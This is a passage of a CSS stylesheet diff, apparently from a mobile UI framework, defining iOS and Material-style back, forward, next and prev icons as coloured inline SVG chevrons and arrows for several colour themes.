url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-back, +.ios .icon-back.color-green, +.ios a.link.color-green .icon-back, +.ios .color-theme-green .icon-prev, +.ios .icon-prev.color-green, +.ios a.link.color-green .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-forward, +.ios .icon-forward.color-green, +.ios a.link.color-green .icon-forward, +.ios .color-theme-green .icon-next, +.ios .icon-next.color-green, +.ios a.link.color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-back, +.ios .icon-back.color-blue, +.ios a.link.color-blue .icon-back, +.ios .color-theme-blue .icon-prev, +.ios .icon-prev.color-blue, +.ios a.link.color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-forward, +.ios .icon-forward.color-blue, +.ios a.link.color-blue .icon-forward, +.ios .color-theme-blue .icon-next, +.ios .icon-next.color-blue, +.ios a.link.color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-back, +.ios .icon-back.color-pink, +.ios a.link.color-pink .icon-back, +.ios .color-theme-pink .icon-prev, +.ios .icon-prev.color-pink, +.ios a.link.color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-forward, +.ios .icon-forward.color-pink, +.ios a.link.color-pink .icon-forward, +.ios .color-theme-pink .icon-next, +.ios .icon-next.color-pink, +.ios a.link.color-pink .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-back, +.ios .icon-back.color-yellow, +.ios a.link.color-yellow .icon-back, +.ios .color-theme-yellow .icon-prev, +.ios .icon-prev.color-yellow, +.ios a.link.color-yellow .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-forward, +.ios .icon-forward.color-yellow, +.ios a.link.color-yellow .icon-forward, +.ios .color-theme-yellow .icon-next, +.ios .icon-next.color-yellow, +.ios a.link.color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-back, +.ios .icon-back.color-orange, +.ios a.link.color-orange .icon-back, +.ios .color-theme-orange .icon-prev, +.ios .icon-prev.color-orange, +.ios a.link.color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-forward, +.ios .icon-forward.color-orange, +.ios a.link.color-orange .icon-forward, +.ios .color-theme-orange .icon-next, +.ios .icon-next.color-orange, +.ios a.link.color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-back, +.ios .icon-back.color-gray, +.ios a.link.color-gray .icon-back, +.ios .color-theme-gray .icon-prev, +.ios .icon-prev.color-gray, +.ios a.link.color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-forward, +.ios .icon-forward.color-gray, +.ios a.link.color-gray .icon-forward, +.ios .color-theme-gray .icon-next, +.ios .icon-next.color-gray, +.ios a.link.color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-back, +.ios .icon-back.color-white, +.ios a.link.color-white .icon-back, +.ios .color-theme-white .icon-prev, +.ios .icon-prev.color-white, +.ios a.link.color-white .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-forward, +.ios .icon-forward.color-white, +.ios a.link.color-white .icon-forward, +.ios .color-theme-white .icon-next, +.ios .icon-next.color-white, +.ios a.link.color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffffff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-back, +.ios .icon-back.color-black, +.ios a.link.color-black .icon-back, +.ios .color-theme-black .icon-prev, +.ios .icon-prev.color-black, +.ios a.link.color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .icon-forward, +.ios .icon-forward.color-black, +.ios a.link.color-black .icon-forward, +.ios .color-theme-black .icon-next, +.ios .icon-next.color-black, +.ios a.link.color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23000000'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon.color-red { + color: #ff3b30; +} +.ios .icon.color-green { + color: #4cd964; +} +.ios .icon.color-blue { + color: #007aff; +} +.ios .icon.color-pink { + color: #ff2d55; +} +.ios .icon.color-yellow { + color: #ffcc00; +} +.ios .icon.color-orange { + color: #ff9500; +} +.ios .icon.color-gray { + color: #8e8e93; +} +.ios .icon.color-white { + color: #ffffff; +} +.ios .icon.color-black { + color: #000000; +} +.md .icon-back { + width: 24px; + height: 24px; +} +.md .icon-forward { + width: 24px; + height: 24px; +} +.md .icon-next, +.md .icon-prev { + width: 24px; + height: 24px; +} +.md .item-media .icon { + color: #737373; +} +.md .item-media .material-icons { + font-size: 24px; + width: 24px; + height: 24px; +} +.md .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-red, +.md a.link .color-red .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-red, +.md a.link .color-red .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-red, +.md a.link .color-red .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-red, +.md a.link .color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23f44336'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-green, +.md a.link .color-green .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-green, +.md a.link .color-green .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-green, +.md a.link .color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-green, +.md a.link .color-green .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%234caf50'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-blue, +.md a.link .color-blue .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-blue, +.md a.link .color-blue .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-blue, +.md a.link .color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-blue, +.md a.link .color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%232196f3'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-pink, +.md a.link .color-pink .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-pink, +.md a.link .color-pink .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-pink, +.md a.link .color-pink .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-pink, +.md a.link .color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-yellow, +.md a.link .color-yellow .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-yellow, +.md a.link .color-yellow .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-yellow, +.md a.link .color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-yellow, +.md a.link .color-yellow 